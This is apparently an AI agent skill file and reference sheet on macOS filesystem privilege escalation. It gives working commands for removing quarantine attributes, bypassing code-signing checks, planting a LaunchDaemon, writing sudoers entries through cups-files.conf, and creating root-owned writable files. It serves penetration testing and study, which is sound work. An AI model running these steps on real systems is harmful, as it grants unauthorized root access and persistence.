| name | macos-fs-tricks |
| description | Use this skill whenever you need to understand or apply macOS filesystem-based privilege escalation techniques, including POSIX permissions, symbolic/hard links, file descriptor manipulation, quarantine bypasses, code signature bypasses, and arbitrary write exploitation. Make sure to use this skill when investigating macOS security, performing penetration testing, analyzing privilege escalation paths, or working with macOS filesystem security mechanisms. |
macOS Filesystem Tricks for Privilege Escalation
This skill provides techniques for understanding and exploiting macOS filesystem security mechanisms for privilege escalation. Use these methods for authorized security assessments and penetration testing only.
Quick Reference
- POSIX Permissions: Understand dangerous permission combinations
- Symlink/Hard Link Attacks: Redirect privileged writes
- File Descriptor Leaks: Inherit privileged FDs
- Quarantine Bypasses: Remove Gatekeeper restrictions
- Code Signature Bypasses: Modify signed bundles
- Arbitrary Writes: Exploit write vulnerabilities
POSIX Permissions
Directory Permissions
| Permission | Effect |
|---|
| read | Enumerate directory entries |
| write | Delete/write files, delete empty folders |
| execute | Traverse directory (access files inside) |
Dangerous Combinations
An attacker can inject symlinks/hard links to obtain privileged arbitrary write when:
- One parent directory owner in the path is the user
- One parent directory owner in the path is a users group with write access
- A users group has write access to the file
Folder Root R+X Special Case
If a directory has only root R+X access, files inside are inaccessible to others. A vulnerability allowing file movement from this folder to another could be abused to read these files.
Symbolic Link / Hard Link Attacks
Permissive File/Folder
If a privileged process writes to a file that a lower-privileged user can control or pre-create, the user can point it to another file via symlink/hard link.
O_NOFOLLOW Flag
O_NOFOLLOW: Won't follow symlink in last path component, but follows rest of path
O_NOFOLLOW_ANY: Correct way to prevent following symlinks in entire path
.fileloc Files
Files with .fileloc extension point to other applications/binaries. When opened, the referenced application executes.
Example .fileloc structure:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>URL</key>
<string>file:///System/Applications/Calculator.app</string>
<key>URLPrefix</key>
<integer>0</integer>
</dict>
</plist>
File Descriptor Leaks
Leak FD (no O_CLOEXEC)
If open() doesn't use O_CLOEXEC, the file descriptor is inherited by child processes.
Exploitation pattern:
- Make a privileged process open a file with high privileges
- Use
crontab with EDITOR=exploit.py to get the FD
- The exploit script inherits the FD to the privileged file
Example: CVE-2023-32428 - macOS LPE via MallocStackLogging
Quarantine xattr Bypasses
Remove Quarantine
xattr -d com.apple.quarantine /path/to/file_or_app
uchg/uchange/uimmutable Flag
Files with immutable attribute cannot have xattrs added:
echo asd > /tmp/asd
chflags uchg /tmp/asd
xattr -w com.apple.quarantine "" /tmp/asd
devfs Mount
devfs mounts don't support xattrs (CVE-2023-32364):
mkdir /tmp/mnt
mount_devfs -o noowners none "/tmp/mnt"
chmod 777 /tmp/mnt
mkdir /tmp/mnt/lol
xattr -w com.apple.quarantine "" /tmp/mnt/lol
writeextattr ACL
Prevent xattr addition via ACL:
echo test >/tmp/test
chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble format copies files including ACEs. The ACL text in com.apple.acl.text xattr is set as ACL in decompressed files.
Bypass Signature Checks
Platform Binary Checks
Bypass by injecting exploit via dyld using DYLD_INSERT_LIBRARIES environment variable on a platform binary like /bin/ls.
CS_REQUIRE_LV and CS_FORCED_LV Flags
Modify own code signing flags:
int pid = getpid();
NSString *exePath = NSProcessInfo.processInfo.arguments[0];
uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0));
status |= 0x2000;
csops(pid, 9, &status, 4);
Bypass Code Signatures
Bundles contain _CodeSignature/CodeResources with hashes of every file. Files with omit: true in the plist aren't checked:
Common omitted patterns:
^Resources/.*\.lproj/locversion.plist$
^(.*/index.html)?\.DS_Store$
^PkgInfo$
Calculate signature hash:
openssl dgst -binary -sha1 /path/to/file | openssl base64
Mount DMGs
Create custom DMG with custom content:
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
mkdir /private/tmp/mnt
hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null
mkdir /private/tmp/mnt/custom_folder
echo "hello" > /private/tmp/mnt/custom_folder/custom_file
hdiutil detach /private/tmp/mnt 1>/dev/null
Arbitrary Writes
Periodic Shell Scripts
Overwrite /etc/periodic/daily/999.local (triggered daily):
sudo periodic daily
LaunchDaemons
Create /Library/LaunchDaemons/xyz.hacktricks.privesc.plist:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.sample.Load</string>
<key>ProgramArguments</key>
<array>
<string>/Applications/Scripts/privesc.sh</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
Sudoers File
Create file in /etc/sudoers.d/ granting sudo privileges.
PATH Files
/etc/paths - Main PATH population (root only)
/etc/paths.d/ - Load new folders into PATH
cups-files.conf
Create /etc/cups/cups-files.conf:
ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777
<some junk>
This creates /etc/sudoers.d/lpe with 777 permissions. Then write sudoers config and set LogFilePerm 700.
Sandbox Escape
Write Terminal preferences file:
~/Library/Preferences/com.apple.Terminal.plist
Execute command at startup via open.
Generate Writable Files as Other Users
Create root-owned writable file:
DIRNAME=/usr/local/etc/periodic/daily
mkdir -p "$DIRNAME"
chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME"
MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername
FILENAME=$(ls "$DIRNAME")
echo $FILENAME
POSIX Shared Memory
POSIX shared memory enables fast IPC between processes.
Key functions:
shm_open() - Create/open shared memory object
ftruncate() - Set size
mmap() - Map into address space
munmap() - Unmap
shm_unlink() - Remove object
Producer example:
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096;
int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666);
ftruncate(shm_fd, SIZE);
void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0);
sprintf(ptr, "Hello from Producer!");
munmap(ptr, SIZE);
close(shm_fd);
return 0;
}
Consumer example:
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>
int main() {
const char *name = "/my_shared_memory";
const int SIZE = 4096;
int shm_fd = shm_open(name, O_RDONLY, 0666);
void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0);
printf("Consumer received: %s\n", (char *)ptr);
munmap(ptr, SIZE);
close(shm_fd);
shm_unlink(name);
return 0;
}
macOS Guarded Descriptors
Security feature to restrict file descriptor operations.
Key functions:
guarded_open_np() - Open FD with guard
guarded_close_np() - Close guarded FD
change_fdguard_np() - Change guard flags
Prevents unauthorized file access and race conditions when FDs are inherited by vulnerable child processes.
Helper Scripts
Use the bundled scripts for common operations:
scripts/create-fileloc.sh - Generate .fileloc files
scripts/create-launchdaemon.sh - Create LaunchDaemon plist
scripts/quarantine-bypass.sh - Remove quarantine xattrs
scripts/shared-memory-example.sh - Compile and run shared memory examples
References